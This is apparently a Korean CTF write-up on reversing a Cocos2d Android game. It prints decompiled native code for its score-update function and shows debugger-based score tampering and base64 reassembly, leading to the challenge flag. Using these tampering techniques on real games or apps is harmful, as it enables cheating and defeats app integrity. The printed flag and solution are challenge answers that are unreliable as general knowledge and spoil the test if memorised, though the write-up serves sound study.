대충 점수조작을 하면 될것같다 생각했고 일단 자바코드부터 보면 아래와 같이 SharedPreferences를 통해 앱 데이터 로컬 영역에 임의의 값을 저장하고 있었다.

위 값들은 앱 실행 시 초기 값을 담는 정도였고 자바코드에선 더이상 볼게 없어서 네이티르 코드를 분석해봤다.

점수와 관련된 코드를 찾아보니 updateScore라는 함수가 존재했고 해당 함수 코드는 아래와 같았다.

cocos2d::CCUserDefault *__fastcall ControlLayer::updateScore(cocos2d::CCUserDefault *result, unsigned int a2)

{

  int v2; // r3

  const char *v3; // r4

  int v4; // r7

  cocos2d::CCUserDefault *v5; // r0

  int v6; // r5

  int v7; // r3

  char *v8; // r0

  int v9; // r5

  int v10; // r3

  int v11; // r5

  int v12; // r3

  int v13; // r5

  int v14; // r3

  int v15; // r5

  int v16; // r3

  int v17; // r5

  int v18; // r3

  int v19; // r5

  int v20; // r3

  int v21; // r5

  int v22; // r3

  int v23; // r5

  int v24; // r3

  int v25; // r5

  int v26; // r3

  int v27; // r0

  int v28; // [sp+0h] [bp-68h]

  cocos2d::CCUserDefault *v29; // [sp+4h] [bp-64h]

  int v30; // [sp+8h] [bp-60h]

  char v31; // [sp+Ch] [bp-5Ch]

  char v32; // [sp+10h] [bp-58h]

  char v33; // [sp+14h] [bp-54h]

  char v34; // [sp+18h] [bp-50h]

  char v35; // [sp+1Ch] [bp-4Ch]

  char v36; // [sp+20h] [bp-48h]

  char v37; // [sp+24h] [bp-44h]

  char v38; // [sp+28h] [bp-40h]

  char v39; // [sp+2Ch] [bp-3Ch]

  char v40; // [sp+30h] [bp-38h]

  char v41; // [sp+34h] [bp-34h]

  char v42; // [sp+38h] [bp-30h]

  char v43; // [sp+3Ch] [bp-2Ch]

  int v44; // [sp+40h] [bp-28h]

  char v45; // [sp+44h] [bp-24h]

  int v46; // [sp+48h] [bp-20h]

  char v47; // [sp+4Ch] [bp-1Ch]

  v44 = 1635017060;

  v2 = 0;

  v45 = 0;

  v47 = 0;

  v29 = result;

  v3 = (const char *)a2;

  v46 = 0;

  do

  {

    *((_BYTE *)&v46 + v2) = *((_BYTE *)&v44 + v2) ^ 0x20;

    ++v2;

  }

  while ( v2 != 4 );

  if ( a2 <= 0x3B9ACA00 )

  {

    v4 = cocos2d::CCUserDefault::sharedUserDefault(result);

    sub_3A34D8(&v33, &unk_3F92A0, &v31);

    cocos2d::CCUserDefault::getStringForKey(&v32, v4, &v46, &v33);

    v5 = (cocos2d::CCUserDefault *)sub_3A1DDC(&v33);

    if ( v3 == (const char *)&dword_64 )

    {

      v6 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v34, &v32, "MW");

      cocos2d::CCUserDefault::setStringForKey(

        v6,

        (const char *)&v46,

        (const char **)&v34,

        v7,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v34;

    }

    else if ( v3 == (const char *)&stru_254.st_value )

    {

      v9 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v35, &v32, "Rf");

      cocos2d::CCUserDefault::setStringForKey(

        v9,

        (const char *)&v46,

        (const char **)&v35,

        v10,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v35;

    }

    else if ( v3 == (const char *)&stru_2B4.st_size )

    {

      v11 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v36, &v32, "Rz");

      cocos2d::CCUserDefault::setStringForKey(

        v11,

        (const char *)&v46,

        (const char **)&v36,

        v12,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v36;

    }

    else if ( v3 == (const char *)&stru_BB4.st_value )

    {

      v13 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v37, &v32, "Bt");

      cocos2d::CCUserDefault::setStringForKey(

        v13,

        (const char *)&v46,

        (const char **)&v37,

        v14,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v37;

    }

    else if ( v3 == (const char *)&stru_15D4.st_info )

    {

      v15 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v38, &v32, "RV");

      cocos2d::CCUserDefault::setStringForKey(

        v15,

        (const char *)&v46,

        (const char **)&v38,

        v16,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v38;

    }

    else if ( v3 == (const char *)&stru_26A4.st_size )

    {

      v17 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v39, &v32, "9Z");

      cocos2d::CCUserDefault::setStringForKey(

        v17,

        (const char *)&v46,

        (const char **)&v39,

        v18,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v39;

    }

    else if ( v3 == (const char *)&stru_4644.st_info )

    {

      v19 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v40, &v32, "b1");

      cocos2d::CCUserDefault::setStringForKey(

        v19,

        (const char *)&v46,

        (const char **)&v40,

        v20,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v40;

    }

    else if ( v3 == (const char *)&stru_15AD4.st_info )

    {

      v21 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v41, &v32, "Vf");

      cocos2d::CCUserDefault::setStringForKey(

        v21,

        (const char *)&v46,

        (const char **)&v41,

        v22,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v41;

    }

    else if ( v3 == (const char *)&stru_18694.st_info )

    {

      v23 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v42, &v32, "S2");

      cocos2d::CCUserDefault::setStringForKey(

        v23,

        (const char *)&v46,

        (const char **)&v42,

        v24,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v42;

    }

    else

    {

      if ( v3 != (const char *)1000000000 )

      {

LABEL_25:

        v27 = cocos2d::CCString::createWithFormat((cocos2d::CCString *)"%d", v3);

        (*(void (__fastcall **)(_DWORD, _DWORD))(**((_DWORD **)v29 + 66) + 428))(

          *((_DWORD *)v29 + 66),

          *(_DWORD *)(v27 + 20));

        return (cocos2d::CCUserDefault *)sub_3A1DDC(&v32);

      }

      v25 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v43, &v32, "4w");

      cocos2d::CCUserDefault::setStringForKey(

        v25,

        (const char *)&v46,

        (const char **)&v43,

        v26,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v43;

    }

    sub_3A1DDC(v8);

    goto LABEL_25;

  }

  return result;

}

대충보니 점수가 1000000000점이면 될 것 같아서 디버깅을 통해 해당 함수의 인자값을 1000000000점으로 바꿔보니 게임이 클리어되면서 잠겨있는 xml파일을 보라고 했다.

shared_prefs 폴더 내에서 Cocos2dxPrefsFile.xml 파일을 확인해보니 base64 인코딩된 값이 존재해서 이걸 디코딩해봤는데 중간의 값들이 깨져있었다. 

0ctf{C0coS2d_AnDro1gs��g�36�3&E��G&�w?}

단순히 게임 클리어만 하는 방식이 아닌 것 같아서 파일 내에 저장되는 base64 인코딩 값이  어떻게 생성되는지 코드를 좀 더 자세히 봤다.

코드 내 분기문들을 보니 게임 클리어과정에서 아래와 같은 형태로 특정 점수들을 지나갈때마다 최종 base64 인코딩 값의 일부 값들이 저장되고 있었다.

if ( v3 == (const char *)&dword_64 )

    {

      v6 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v34, &v32, "MW");

      cocos2d::CCUserDefault::setStringForKey(

        v6,

        (const char *)&v46,

        (const char **)&v34,

        v7,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v34;

    }

각 점수별로 저장하는 값들을 다 더해줬고 맨 앞 맨 뒤에 기본적으로 저장되는 값들을 디버깅으로 구해 최종 base64인코딩 값을 만들었다. 이를 디코딩해보면 정상적인 플래그 값이 나온다.

FLAG = 0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}